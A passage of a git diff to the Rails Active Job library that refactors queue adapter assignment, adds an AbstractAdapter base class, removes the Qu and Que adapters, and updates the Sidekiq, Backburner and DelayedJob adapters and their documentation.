-        if job.scheduled_at
-          ActiveSupport::Notifications.instrument "enqueue_at.active_job",
-            adapter: job.class.queue_adapter, job: job
-        else
-          ActiveSupport::Notifications.instrument "enqueue.active_job",
-            adapter: job.class.queue_adapter, job: job
-        end
-      end
+    def perform_now # :nodoc:
+      tag_logger(self.class.name, self.job_id) { super }
     end
 
     private
-      def tag_logger(*tags)
+      def tag_logger(*tags, &block)
         if logger.respond_to?(:tagged)
           tags.unshift "ActiveJob" unless logger_tagged_by_active_job?
-          logger.tagged(*tags) { yield }
+          logger.tagged(*tags, &block)
         else
           yield
         end
@@ -50,72 +45,5 @@ def tag_logger(*tags)
       def logger_tagged_by_active_job?
         logger.formatter.current_tags.include?("ActiveJob")
       end
-
-      class LogSubscriber < ActiveSupport::LogSubscriber #:nodoc:
-        def enqueue(event)
-          info do
-            job = event.payload[:job]
-            "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)}" + args_info(job)
-          end
-        end
-
-        def enqueue_at(event)
-          info do
-            job = event.payload[:job]
-            "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)} at #{scheduled_at(event)}" + args_info(job)
-          end
-        end
-
-        def perform_start(event)
-          info do
-            job = event.payload[:job]
-            "Performing #{job.class.name} from #{queue_name(event)}" + args_info(job)
-          end
-        end
-
-        def perform(event)
-          info do
-            job = event.payload[:job]
-            "Performed #{job.class.name} from #{queue_name(event)} in #{event.duration.round(2)}ms"
-          end
-        end
-
-        private
-          def queue_name(event)
-            event.payload[:adapter].class.name.demodulize.remove("Adapter") + "(#{event.payload[:job].queue_name})"
-          end
-
-          def args_info(job)
-            if job.arguments.any?
-              " with arguments: " +
-                job.arguments.map { |arg| format(arg).inspect }.join(", ")
-            else
-              ""
-            end
-          end
-
-          def format(arg)
-            case arg
-            when Hash
-              arg.transform_values { |value| format(value) }
-            when Array
-              arg.map { |value| format(value) }
-            when GlobalID::Identification
-              arg.to_global_id rescue arg
-            else
-              arg
-            end
-          end
-
-          def scheduled_at(event)
-            Time.at(event.payload[:job].scheduled_at).utc
-          end
-
-          def logger
-            ActiveJob::Base.logger
-          end
-      end
   end
 end
-
-ActiveJob::Logging::LogSubscriber.attach_to :active_job
diff --git a/activejob/lib/active_job/queue_adapter.rb b/activejob/lib/active_job/queue_adapter.rb
index 9dae80ffc224e..6ecb74de5b8e6 100644
--- a/activejob/lib/active_job/queue_adapter.rb
+++ b/activejob/lib/active_job/queue_adapter.rb
@@ -1,44 +1,71 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/string/inflections"
 
 module ActiveJob
-  # The <tt>ActiveJob::QueueAdapter</tt> module is used to load the
-  # correct adapter. The default queue adapter is the +:async+ queue.
-  module QueueAdapter #:nodoc:
+  class << self
+    def adapter_name(adapter) # :nodoc:
+      return adapter.queue_adapter_name if adapter.respond_to?(:queue_adapter_name)
+
+      adapter_class = adapter.is_a?(Module) ? adapter : adapter.class
+      "#{adapter_class.name.demodulize.delete_suffix('Adapter')}"
+    end
+  end
+
+  # = Active Job Queue adapter
+  #
+  # The +ActiveJob::QueueAdapter+ module is used to load the
+  # correct adapter. The default queue adapter is +:async+,
+  # which loads the ActiveJob::QueueAdapters::AsyncAdapter.
+  module QueueAdapter # :nodoc:
     extend ActiveSupport::Concern
 
     included do
+      class_attribute :_queue_adapter_name, instance_accessor: false, instance_predicate: false
       class_attribute :_queue_adapter, instance_accessor: false, instance_predicate: false
-      self.queue_adapter = :async
+
+      delegate :queue_adapter, to: :class
     end
 
     # Includes the setter method for changing the active queue adapter.
     module ClassMethods
       # Returns the backend queue provider. The default queue adapter
-      # is the +:async+ queue. See QueueAdapters for more information.
+      # is +:async+. See QueueAdapters for more information.
       def queue_adapter
+        self.queue_adapter = :async if _queue_adapter.nil?
         _queue_adapter
       end
 
+      # Returns string denoting the name of the configured queue adapter.
+      # By default returns <tt>"async"</tt>.
+      def queue_adapter_name
+        self.queue_adapter = :async if _queue_adapter_name.nil?
+        _queue_adapter_name
+      end
+
       # Specify the backend queue provider. The default queue adapter
       # is the +:async+ queue. See QueueAdapters for more
       # information.
-      def queue_adapter=(name_or_adapter_or_class)
-        self._queue_adapter = interpret_adapter(name_or_adapter_or_class)
+      def queue_adapter=(name_or_adapter)
+        case name_or_adapter
+        when Symbol, String
+          queue_adapter = ActiveJob::QueueAdapters.lookup(name_or_adapter).new
+          queue_adapter.try(:check_adapter)
+          assign_adapter(name_or_adapter.to_s, queue_adapter)
+        else
+          if queue_adapter?(name_or_adapter)
+            adapter_name = ActiveJob.adapter_name(name_or_adapter).underscore
+            assign_adapter(adapter_name, name_or_adapter)
+          else
+            raise ArgumentError
+          end
+        end
       end
 
       private
-
-        def interpret_adapter(name_or_adapter_or_class)
-          case name_or_adapter_or_class
-          when Symbol, String
-            ActiveJob::QueueAdapters.lookup(name_or_adapter_or_class).new
-          else
-            if queue_adapter?(name_or_adapter_or_class)
-              name_or_adapter_or_class
-            else
-              raise ArgumentError
-            end
-          end
+        def assign_adapter(adapter_name, queue_adapter)
+          self._queue_adapter_name = adapter_name
+          self._queue_adapter = queue_adapter
         end
 
         QUEUE_ADAPTER_METHODS = [:enqueue, :enqueue_at].freeze
diff --git a/activejob/lib/active_job/queue_adapters.rb b/activejob/lib/active_job/queue_adapters.rb
index c8eedb6156bbd..f7d0a76fabffc 100644
--- a/activejob/lib/active_job/queue_adapters.rb
+++ b/activejob/lib/active_job/queue_adapters.rb
@@ -1,19 +1,24 @@
+# frozen_string_literal: true
+
 module ActiveJob
-  # == Active Job adapters
+  # = Active Job adapters
   #
-  # Active Job has adapters for the following queueing backends:
+  # Active Job has adapters for the following queuing backends:
   #
   # * {Backburner}[https://github.com/nesquena/backburner]
   # * {Delayed Job}[https://github.com/collectiveidea/delayed_job]
-  # * {Qu}[https://github.com/bkeepers/qu]
   # * {Que}[https://github.com/chanks/que]
   # * {queue_classic}[https://github.com/QueueClassic/queue_classic]
   # * {Resque}[https://github.com/resque/resque]
-  # * {Sidekiq}[http://sidekiq.org]
+  # * {Sidekiq}[https://sidekiq.org]
   # * {Sneakers}[https://github.com/jondot/sneakers]
-  # * {Sucker Punch}[https://github.com/brandonhilkert/sucker_punch]
-  # * {Active Job Async Job}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/AsyncAdapter.html]
-  # * {Active Job Inline}[http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/InlineAdapter.html]
+  # * Please Note: We are not accepting pull requests for new adapters. See the {README}[link:files/activejob/README_md.html] for more details.
+  #
+  # For testing and development Active Job has three built-in adapters:
+  #
+  # * {Active Job Async}[https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/AsyncAdapter.html]
+  # * {Active Job Inline}[https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/InlineAdapter.html]
+  # * {Active Job Test}[https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters/TestAdapter.html]
   #
   # === Backends Features
   #
@@ -21,15 +26,14 @@ module ActiveJob
   #   |-------------------|-------|--------|------------|------------|---------|---------|
   #   | Backburner        | Yes   | Yes    | Yes        | Yes        | Job     | Global  |
   #   | Delayed Job       | Yes   | Yes    | Yes        | Job        | Global  | Global  |
-  #   | Qu                | Yes   | Yes    | No         | No         | No      | Global  |
   #   | Que               | Yes   | Yes    | Yes        | Job        | No      | Job     |
   #   | queue_classic     | Yes   | Yes    | Yes*       | No         | No      | No      |
   #   | Resque            | Yes   | Yes    | Yes (Gem)  | Queue      | Global  | Yes     |
   #   | Sidekiq           | Yes   | Yes    | Yes        | Queue      | No      | Job     |
   #   | Sneakers          | Yes   | Yes    | No         | Queue      | Queue   | No      |
-  #   | Sucker Punch      | Yes   | Yes    | Yes        | No         | No      | No      |
   #   | Active Job Async  | Yes   | Yes    | Yes        | No         | No      | No      |
   #   | Active Job Inline | No    | Yes    | N/A        | N/A        | N/A     | N/A     |
+  #   | Active Job Test   | No    | Yes    | N/A        | N/A        | N/A     | N/A     |
   #
   # ==== Async
   #
@@ -51,7 +55,7 @@ module ActiveJob
   #
   # No: The adapter will run jobs at the next opportunity and cannot use perform_later.
   #
-  # N/A: The adapter does not support queueing.
+  # N/A: The adapter does not support queuing.
   #
   # NOTE:
   # queue_classic supports job scheduling since version 3.1.
@@ -71,9 +75,9 @@ module ActiveJob
   # Yes: Allows the priority to be set on the job object, at the queue level or
   # as default configuration option.
   #
-  # No: Does not allow the priority of jobs to be configured.
+  # No: The adapter does not allow the priority of jobs to be configured.
   #
-  # N/A: The adapter does not support queueing, and therefore sorting them.
+  # N/A: The adapter does not support queuing, and therefore sorting them.
   #
   # ==== Timeout
   #
@@ -85,6 +89,8 @@ module ActiveJob
   #
   # Global: The adapter is configured that all jobs have a maximum run time.
   #
+  # No: The adapter does not allow the timeout of jobs to be configured.
+  #
   # N/A: This adapter does not run in a separate process, and therefore timeout
   # is unsupported.
   #
@@ -98,22 +104,19 @@ module ActiveJob
   #
   # Global: The adapter has a global number of retries.
   #
+  # No: The adapter does not allow the number of retries to be configured.
+  #
   # N/A: The adapter does not run in a separate process, and therefore doesn't
   # support retries.
   #
-  # === Async and Inline Queue Adapters
-  #
-  # Active Job has two built-in queue adapters intended for development and
-  # testing: +:async+ and +:inline+.
   module QueueAdapters
     extend ActiveSupport::Autoload
 
+    autoload :AbstractAdapter
     autoload :AsyncAdapter
     autoload :InlineAdapter
     autoload :BackburnerAdapter
     autoload :DelayedJobAdapter
-    autoload :QuAdapter
-    autoload :QueAdapter
     autoload :QueueClassicAdapter
     autoload :ResqueAdapter
     autoload :SidekiqAdapter
@@ -121,7 +124,7 @@ module QueueAdapters
     autoload :SuckerPunchAdapter
     autoload :TestAdapter
 
-    ADAPTER = "Adapter".freeze
+    ADAPTER = "Adapter"
     private_constant :ADAPTER
 
     class << self
diff --git a/activejob/lib/active_job/queue_adapters/abstract_adapter.rb b/activejob/lib/active_job/queue_adapters/abstract_adapter.rb
new file mode 100644
index 0000000000000..5c1355d905925
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/abstract_adapter.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveJob
+  module QueueAdapters
+    # = Active Job Abstract Adapter
+    #
+    # Active Job supports multiple job queue systems. ActiveJob::QueueAdapters::AbstractAdapter
+    # forms the abstraction layer which makes this possible.
+    class AbstractAdapter
+      attr_accessor :stopping
+
+      def enqueue(job)
+        raise NotImplementedError
+      end
+
+      def enqueue_at(job, timestamp)
+        raise NotImplementedError
+      end
+
+      def stopping?
+        !!@stopping
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/async_adapter.rb b/activejob/lib/active_job/queue_adapters/async_adapter.rb
index e2bff9e646c5b..fa0642338b8f8 100644
--- a/activejob/lib/active_job/queue_adapters/async_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/async_adapter.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "securerandom"
 require "concurrent/scheduled_task"
 require "concurrent/executor/thread_pool_executor"
@@ -5,7 +7,7 @@
 
 module ActiveJob
   module QueueAdapters
-    # == Active Job Async adapter
+    # = Active Job Async adapter
     #
     # The Async adapter runs jobs with an in-process thread pool.
     #
@@ -28,29 +30,29 @@ module QueueAdapters
     # The adapter uses a {Concurrent Ruby}[https://github.com/ruby-concurrency/concurrent-ruby] thread pool to schedule and execute
     # jobs. Since jobs share a single thread pool, long-running jobs will block
     # short-lived jobs. Fine for dev/test; bad for production.
-    class AsyncAdapter
-      # See {Concurrent::ThreadPoolExecutor}[http://ruby-concurrency.github.io/concurrent-ruby/Concurrent/ThreadPoolExecutor.html] for executor options.
+    class AsyncAdapter < AbstractAdapter
+      # See {Concurrent::ThreadPoolExecutor}[https://ruby-concurrency.github.io/concurrent-ruby/master/Concurrent/ThreadPoolExecutor.html] for executor options.
       def initialize(**executor_options)
         @scheduler = Scheduler.new(**executor_options)
       end
 
-      def enqueue(job) #:nodoc:
+      def enqueue(job) # :nodoc:
         @scheduler.enqueue JobWrapper.new(job), queue_name: job.queue_name
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         @scheduler.enqueue_at JobWrapper.new(job), timestamp, queue_name: job.queue_name
       end
 
       # Gracefully stop processing jobs. Finishes in-progress work and handles
       # any new jobs following the executor's fallback policy (`caller_runs`).
       # Waits for termination by default. Pass `wait: false` to continue.
-      def shutdown(wait: true) #:nodoc:
+      def shutdown(wait: true) # :nodoc:
         @scheduler.shutdown wait: wait
       end
 
       # Used for our test suite.
-      def immediate=(immediate) #:nodoc:
+      def immediate=(immediate) # :nodoc:
         @scheduler.immediate = immediate
       end
 
@@ -58,7 +60,7 @@ def immediate=(immediate) #:nodoc:
       # performing them in-process, but we do so anyway for parity with other
       # adapters and deployment environments. Otherwise, serialization bugs
       # may creep in undetected.
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         def initialize(job)
           job.provider_job_id = SecureRandom.uuid
           @job_data = job.serialize
@@ -69,10 +71,10 @@ def perform
         end
       end
 
-      class Scheduler #:nodoc:
+      class Scheduler # :nodoc:
         DEFAULT_EXECUTOR_OPTIONS = {
           min_threads:     0,
-          max_threads:     Concurrent.processor_count,
+          max_threads:     ENV.fetch("RAILS_MAX_THREADS", 5).to_i,
           auto_terminate:  true,
           idletime:        60, # 1 minute
           max_queue:       0, # unlimited
@@ -84,7 +86,11 @@ class Scheduler #:nodoc:
         def initialize(**options)
           self.immediate = false
           @immediate_executor = Concurrent::ImmediateExecutor.new
-          @async_executor = Concurrent::ThreadPoolExecutor.new(DEFAULT_EXECUTOR_OPTIONS.merge(options))
+          @async_executor = Concurrent::ThreadPoolExecutor.new(
+            name: "ActiveJob-async-scheduler",
+            **DEFAULT_EXECUTOR_OPTIONS,
+            **options
+          )
         end
 
         def enqueue(job, queue_name:)
@@ -93,7 +99,7 @@ def enqueue(job, queue_name:)
 
         def enqueue_at(job, timestamp, queue_name:)
           delay = timestamp - Time.current.to_f
-          if delay > 0
+          if !immediate && delay > 0
             Concurrent::ScheduledTask.execute(delay, args: [job], executor: executor, &:perform)
           else
             enqueue(job, queue_name: queue_name)
diff --git a/activejob/lib/active_job/queue_adapters/backburner_adapter.rb b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
index e3eccce62b5ba..57eaaea2fc5eb 100644
--- a/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "backburner"
 
 module ActiveJob
   module QueueAdapters
-    # == Backburner adapter for Active Job
+    # = Backburner adapter for Active Job
     #
     # Backburner is a beanstalkd-powered job queue that can handle a very
     # high volume of jobs. You create background jobs and place them on
@@ -12,17 +14,21 @@ module QueueAdapters
     # To use Backburner set the queue_adapter config to +:backburner+.
     #
     #   Rails.application.config.active_job.queue_adapter = :backburner
-    class BackburnerAdapter
-      def enqueue(job) #:nodoc:
-        Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name
+    class BackburnerAdapter < AbstractAdapter
+      def enqueue(job) # :nodoc:
+        response = Backburner::Worker.enqueue(JobWrapper, [job.serialize], queue: job.queue_name, pri: job.priority)
+        job.provider_job_id = response[:id] if response.is_a?(Hash)
+        response
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         delay = timestamp - Time.current.to_f
-        Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name, delay: delay
+        response = Backburner::Worker.enqueue(JobWrapper, [job.serialize], queue: job.queue_name, pri: job.priority, delay: delay)
+        job.provider_job_id = response[:id] if response.is_a?(Hash)
+        response
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         class << self
           def perform(job_data)
             Base.execute job_data
diff --git a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
index 83ad2e767dc32..8fc819fdb4b65 100644
--- a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 require "delayed_job"
+require "active_support/core_ext/string/inflections"
 
 module ActiveJob
   module QueueAdapters
-    # == Delayed Job adapter for Active Job
+    # = Delayed Job adapter for Active Job
     #
     # Delayed::Job (or DJ) encapsulates the common pattern of asynchronously
     # executing longer tasks in the background. Although DJ can have many
@@ -12,29 +15,44 @@ module QueueAdapters
     # To use Delayed Job, set the queue_adapter config to +:delayed_job+.
     #
     #   Rails.application.config.active_job.queue_adapter = :delayed_job
-    class DelayedJobAdapter
-      def enqueue(job) #:nodoc:
+    class DelayedJobAdapter < AbstractAdapter
+      def enqueue(job) # :nodoc:
         delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority)
         job.provider_job_id = delayed_job.id
         delayed_job
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         delayed_job = Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, priority: job.priority, run_at: Time.at(timestamp))
         job.provider_job_id = delayed_job.id
         delayed_job
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         attr_accessor :job_data
 
         def initialize(job_data)
           @job_data = job_data
         end
 
+        def display_name
+          base_name = "#{job_data["job_class"]} [#{job_data["job_id"]}] from DelayedJob(#{job_data["queue_name"]})"
+
+          return base_name unless log_arguments?
+
+          "#{base_name} with arguments: #{job_data["arguments"]}"
+        end
+
         def perform
           Base.execute(job_data)
         end
+
+        private
+          def log_arguments?
+            job_data["job_class"].constantize.log_arguments?
+          rescue NameError
+            false
+          end
       end
     end
   end
diff --git a/activejob/lib/active_job/queue_adapters/inline_adapter.rb b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
index 0496f8449ede9..d75bab8cfa2bc 100644
--- a/activejob/lib/active_job/queue_adapters/inline_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveJob
   module QueueAdapters
-    # == Active Job Inline adapter
+    # = Active Job Inline adapter
     #
     # When enqueuing jobs with the Inline adapter the job will be executed
     # immediately.
@@ -8,13 +10,13 @@ module QueueAdapters
     # To use the Inline set the queue_adapter config to +:inline+.
     #
     #   Rails.application.config.active_job.queue_adapter = :inline
-    class InlineAdapter
-      def enqueue(job) #:nodoc:
+    class InlineAdapter < AbstractAdapter
+      def enqueue(job) # :nodoc:
         Base.execute(job.serialize)
       end
 
-      def enqueue_at(*) #:nodoc:
-        raise NotImplementedError, "Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/active_job_basics.html"
+      def enqueue_at(*) # :nodoc:
+        raise NotImplementedError, "Use a queueing backend to enqueue jobs in the future. Read more at https://guides.rubyonrails.org/active_job_basics.html"
       end
     end
   end
diff --git a/activejob/lib/active_job/queue_adapters/qu_adapter.rb b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
deleted file mode 100644
index e8994533e4312..0000000000000
--- a/activejob/lib/active_job/queue_adapters/qu_adapter.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require "qu"
-
-module ActiveJob
-  module QueueAdapters
-    # == Qu adapter for Active Job
-    #
-    # Qu is a Ruby library for queuing and processing background jobs. It is
-    # heavily inspired by delayed_job and Resque. Qu was created to overcome
-    # some shortcomings in the existing queuing libraries.
-    # The advantages of Qu are: Multiple backends (redis, mongo), jobs are
-    # requeued when worker is killed, resque-like API.
-    #
-    # Read more about Qu {here}[https://github.com/bkeepers/qu].
-    #
-    # To use Qu set the queue_adapter config to +:qu+.
-    #
-    #   Rails.application.config.active_job.queue_adapter = :qu
-    class QuAdapter
-      def enqueue(job, *args) #:nodoc:
-        qu_job = Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload|
-          payload.instance_variable_set(:@queue, job.queue_name)
-        end.push
-
-        # qu_job can be nil depending on the configured backend
-        job.provider_job_id = qu_job.id unless qu_job.nil?
-        qu_job
-      end
-
-      def enqueue_at(job, timestamp, *args) #:nodoc:
-        raise NotImplementedError, "This queueing backend does not support scheduling jobs. To see what features are supported go to http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html"
-      end
-
-      class JobWrapper < Qu::Job #:nodoc:
-        def initialize(job_data)
-          @job_data = job_data
-        end
-
-        def perform
-          Base.execute @job_data
-        end
-      end
-    end
-  end
-end
diff --git a/activejob/lib/active_job/queue_adapters/que_adapter.rb b/activejob/lib/active_job/queue_adapters/que_adapter.rb
deleted file mode 100644
index 0e698f0d79efd..0000000000000
--- a/activejob/lib/active_job/queue_adapters/que_adapter.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require "que"
-
-module ActiveJob
-  module QueueAdapters
-    # == Que adapter for Active Job
-    #
-    # Que is a high-performance alternative to DelayedJob or QueueClassic that
-    # improves the reliability of your application by protecting your jobs with
-    # the same ACID guarantees as the rest of your data. Que is a queue for
-    # Ruby and PostgreSQL that manages jobs using advisory locks.
-    #
-    # Read more about Que {here}[https://github.com/chanks/que].
-    #
-    # To use Que set the queue_adapter config to +:que+.
-    #
-    #   Rails.application.config.active_job.queue_adapter = :que
-    class QueAdapter
-      def enqueue(job) #:nodoc:
-        que_job = JobWrapper.enqueue job.serialize, priority: job.priority
-        job.provider_job_id = que_job.attrs["job_id"]
-        que_job
-      end
-
-      def enqueue_at(job, timestamp) #:nodoc:
-        que_job = JobWrapper.enqueue job.serialize, priority: job.priority, run_at: Time.at(timestamp)
-        job.provider_job_id = que_job.attrs["job_id"]
-        que_job
-      end
-
-      class JobWrapper < Que::Job #:nodoc:
-        def run(job_data)
-          Base.execute job_data
-        end
-      end
-    end
-  end
-end
diff --git a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
index 1115eb88ae983..81d6e5feee00d 100644
--- a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "queue_classic"
 
 module ActiveJob
   module QueueAdapters
-    # == queue_classic adapter for Active Job
+    # = queue_classic adapter for Active Job
     #
     # queue_classic provides a simple interface to a PostgreSQL-backed message
     # queue. queue_classic specializes in concurrent locking and minimizing
@@ -16,14 +18,14 @@ module QueueAdapters
     # To use queue_classic set the queue_adapter config to +:queue_classic+.
     #
     #   Rails.application.config.active_job.queue_adapter = :queue_classic
-    class QueueClassicAdapter
-      def enqueue(job) #:nodoc:
+    class QueueClassicAdapter < AbstractAdapter
+      def enqueue(job) # :nodoc:
         qc_job = build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize)
         job.provider_job_id = qc_job["id"] if qc_job.is_a?(Hash)
         qc_job
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         queue = build_queue(job.queue_name)
         unless queue.respond_to?(:enqueue_at)
           raise NotImplementedError, "To be able to schedule jobs with queue_classic " \
@@ -35,16 +37,16 @@ def enqueue_at(job, timestamp) #:nodoc:
         qc_job
       end
 
-      # Builds a <tt>QC::Queue</tt> object to schedule jobs on.
+      # Builds a +QC::Queue+ object to schedule jobs on.
       #
-      # If you have a custom <tt>QC::Queue</tt> subclass you'll need to subclass
-      # <tt>ActiveJob::QueueAdapters::QueueClassicAdapter</tt> and override the
+      # If you have a custom +QC::Queue+ subclass you'll need to subclass
+      # +ActiveJob::QueueAdapters::QueueClassicAdapter+ and override the
       # <tt>build_queue</tt> method.
       def build_queue(queue_name)
         QC::Queue.new(queue_name)
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         class << self
           def perform(job_data)
             Base.execute job_data
diff --git a/activejob/lib/active_job/queue_adapters/resque_adapter.rb b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
index 2df157ef89d5a..06852348854d7 100644
--- a/activejob/lib/active_job/queue_adapters/resque_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "resque"
 require "active_support/core_ext/enumerable"
 require "active_support/core_ext/array/access"
@@ -14,7 +16,7 @@
 
 module ActiveJob
   module QueueAdapters
-    # == Resque adapter for Active Job
+    # = Resque adapter for Active Job
     #
     # Resque (pronounced like "rescue") is a Redis-backed library for creating
     # background jobs, placing those jobs on multiple queues, and processing
@@ -25,13 +27,13 @@ module QueueAdapters
     # To use Resque set the queue_adapter config to +:resque+.
     #
     #   Rails.application.config.active_job.queue_adapter = :resque
-    class ResqueAdapter
-      def enqueue(job) #:nodoc:
+    class ResqueAdapter < AbstractAdapter
+      def enqueue(job) # :nodoc:
         JobWrapper.instance_variable_set(:@queue, job.queue_name)
         Resque.enqueue_to job.queue_name, JobWrapper, job.serialize
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
+      def enqueue_at(job, timestamp) # :nodoc:
         unless Resque.respond_to?(:enqueue_at_with_queue)
           raise NotImplementedError, "To be able to schedule jobs with Resque you need the " \
             "resque-scheduler gem. Please add it to your Gemfile and run bundle install"
@@ -39,7 +41,7 @@ def enqueue_at(job, timestamp) #:nodoc:
         Resque.enqueue_at_with_queue job.queue_name, timestamp, JobWrapper, job.serialize
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         class << self
           def perform(job_data)
             Base.execute job_data
diff --git a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
index 895cc1f9813fe..e73a5c0578027 100644
--- a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
@@ -1,12 +1,15 @@
+# frozen_string_literal: true
+
+gem "sidekiq", ">= 4.1.0"
 require "sidekiq"
 
 module ActiveJob
   module QueueAdapters
-    # == Sidekiq adapter for Active Job
+    # = Sidekiq adapter for Active Job
     #
     # Simple, efficient background processing for Ruby. Sidekiq uses threads to
     # handle many jobs at the same time in the same process. It does not
-    # require Rails but will integrate tightly with it to make background
+    # require \Rails but will integrate tightly with it to make background
     # processing dead simple.
     #
     # Read more about Sidekiq {here}[http://sidekiq.org].
@@ -14,26 +17,72 @@ module QueueAdapters
     # To use Sidekiq set the queue_adapter config to +:sidekiq+.
     #
     #   Rails.application.config.active_job.queue_adapter = :sidekiq
-    class SidekiqAdapter
-      def enqueue(job) #:nodoc:
-        #Sidekiq::Client does not support symbols as keys
-        job.provider_job_id = Sidekiq::Client.push \
-          "class"   => JobWrapper,
-          "wrapped" => job.class.to_s,
-          "queue"   => job.queue_name,
-          "args"    => [ job.serialize ]
+    class SidekiqAdapter < AbstractAdapter
+      def initialize(*) # :nodoc:
+        @stopping = false
+
+        Sidekiq.configure_server do |config|
+          config.on(:quiet) { @stopping = true }
+        end
+
+        Sidekiq.configure_client do |config|
+          config.on(:quiet) { @stopping = true }
+        end
+      end
+
+      def check_adapter
+        ActiveJob.deprecator.warn <<~MSG.squish
+          The built-in `sidekiq` adapter is deprecated and will be removed in Rails 8.2.
+          Please upgrade `sidekiq` gem to version 7.3.3 or later to use the `sidekiq` gem's adapter.
+        MSG
       end
 
-      def enqueue_at(job, timestamp) #:nodoc:
-        job.provider_job_id = Sidekiq::Client.push \
-          "class"   => JobWrapper,
-          "wrapped" => job.class.to_s,
-          "queue"   => job.queue_name,
-          "args"    => [ job.serialize ],
-          "at"      => timestamp
+      def enqueue(job) # :nodoc:
+        job.provider_job_id = JobWrapper.set(
+          wrapped: job.class,
+          queue: job.queue_name
+        ).perform_async(job.serialize)
+      end
+
+      def enqueue_at(job, timestamp) # :nodoc:
+        job.provider_job_id = JobWrapper.set(
+          wrapped: job.class,
+          queue: job.queue_name,
+        ).perform_at(timestamp, job.serialize)
+      end
+
+      def enqueue_all(jobs) # :nodoc:
+        enqueued_count = 0
+        jobs.group_by(&:class).each do |job_class, same_class_jobs|
+          same_class_jobs.group_by(&:queue_name).each do |queue, same_class_and_queue_jobs|
+            immediate_jobs, scheduled_jobs = same_class_and_queue_jobs.partition { |job| job.scheduled_at.nil? }
+
+            if immediate_jobs.any?
+              jids = Sidekiq::Client.push_bulk(
+                "class" => JobWrapper,
+                "wrapped" => job_class,
+                "queue" => queue,
+                "args" => immediate_jobs.map { |job| [job.serialize] },
+              )
+              enqueued_count += jids.compact.size
+            end
+
+            if scheduled_jobs.any?
+              jids = Sidekiq::Client.push_bulk(
+                "class" => JobWrapper,
+                "wrapped" => job_class,
+                "queue" => queue,
+                "args" => scheduled_jobs.map { |job| [job.serialize] },
+                "at" => scheduled_jobs.map { |job| job.scheduled_at&.to_f }
+              )
+              enqueued_count += jids.compact.size
+            end
+          end
+        end
+        enqueued_count
       end
 
-      class JobWrapper #:nodoc:
+      class JobWrapper # :nodoc:
         include Sidekiq::Worker
 
         def perform(job_data)
diff --git a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
index f00acfc04a1b5..1a4c14232aaef 100644
--- a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
+++ b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "sneakers"
 require "monitor"
 
 module ActiveJob
   module QueueAdapters
-    # == Sneakers adapter for Active Job
+    # = Sneakers adapter for Active Job
